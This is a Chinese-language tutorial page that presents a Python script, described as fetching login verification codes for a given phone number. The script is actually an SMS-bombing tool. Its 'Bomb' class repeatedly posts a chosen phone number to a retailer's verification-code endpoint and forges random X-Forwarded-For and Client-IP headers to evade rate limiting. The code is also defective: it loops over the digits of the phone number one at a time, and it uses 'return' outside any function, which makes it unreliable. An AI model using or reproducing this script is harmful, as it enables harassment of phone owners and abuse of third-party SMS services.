Python教程

使用python对指定手机号获取各网站登录的验证码。

本文主要是介绍使用python对指定手机号获取各网站登录的验证码。,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

通过模拟发送网页登录页面请求获取验证码。

  • 原理是通过requests库的对象构建一个网页请求,网页请求发送给服务器之后。服务器就会对指定手机号发送一个验证码短信。
import requests
import random
import socket
import struct
import time

def initAPI(phone):
    APIList = [
["https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",30,"迪卡侬", "POST", {"countryCode": "CN", "mobile": phone},"https://www.decathlon.com.cn/zh/create"]
        ]
    return APIList


class initSMS(object):
    """docstring for initSMS"""

    def __init__(self):
        super(initSMS, self).__init__()
        self.SMSList = []
        self.intervalInfo = 0

    def initBomb(self,APIList):
        for x in APIList:
            self.intervalInfo += 1
            self.SMSList.append(SMSObject(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo))
        return self.SMSList


class SMSObject(object):
    """docstring for SMSObject""" 

    def __init__(self, url, interval, info, method, params, others, intervalInfo):
        super(SMSObject, self).__init__()
        self.__url = url
        self.__interval = interval
        self.__info = info
        self.__intervalInfo = intervalInfo
        self.__method = method
        self.__params = params
        self.__others = others

    def getUrl(self):
        return self.__url

    def getInfo(self):
        return self.__info

    def getParams(self):
        return self.__params

    def getMethod(self):
        return self.__method

    def getOthers(self):
        return self.__others

    def getInterval(self):
        return self.__interval

    def getintervalInfo(self):
        return self.__intervalInfo

    def setintervalInfo(self, intervalInfo):
        self.__intervalInfo = intervalInfo


class Bomb(object):

    def __init__(self):
        super(Bomb, self).__init__()
        self.HEADERS = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36',
            # 'Referer': 'http://10.13.0.1',
            'accept-encoding': 'gzip, deflate, br',
            'accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2',
            'cache-control': 'max-age=0',
            "X-Requested-With": "XMLHttpRequest"
        }

    def send(self, SMS):
        # return "SUCCESS"
        IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
        self.HEADERS['X-FORWARDED-FOR'] = IP
        self.HEADERS['CLIENT-IP'] = IP
        print('IP=', IP)
        try:
            session = requests.Session()
            if SMS.getOthers() != "":
                session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS)
                self.HEADERS['Referer'] = SMS.getOthers()
            if SMS.getMethod() == "GET":
                req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS)
            else:
                req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS)
        # print(req.url)
        except Exception as e:
            return str(e)
        return "已发送"



if __name__ == '__main__':
    phoneList=input('请输入手机号码:')
    bombNum=1
    while True: 
        bombNum+=1
        for phone in phoneList: 
            APIList=initAPI(phone) 
            print("\n电话:", phone)
            SMSList = initSMS().initBomb(APIList=APIList)
            switchOn = Bomb()
            i = 0
            currTime = 0
            while True:
                currTime += 1
                for x in SMSList:
                    if x.getintervalInfo() == 0:
                        i += 1
                        info = switchOn.send(x)
                        print(str(i) + "." + x.getInfo() + " " + info)
                        x.setintervalInfo(x.getInterval())
                    else:
                        x.setintervalInfo(x.getintervalInfo() - 1)
                time.sleep(2) 
                if i==len(APIList):
                    return 0;
                   

代码有不清楚的地方可以关注并私信我一起交流学习哦。

这篇关于使用python对指定手机号获取各网站登录的验证码。的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!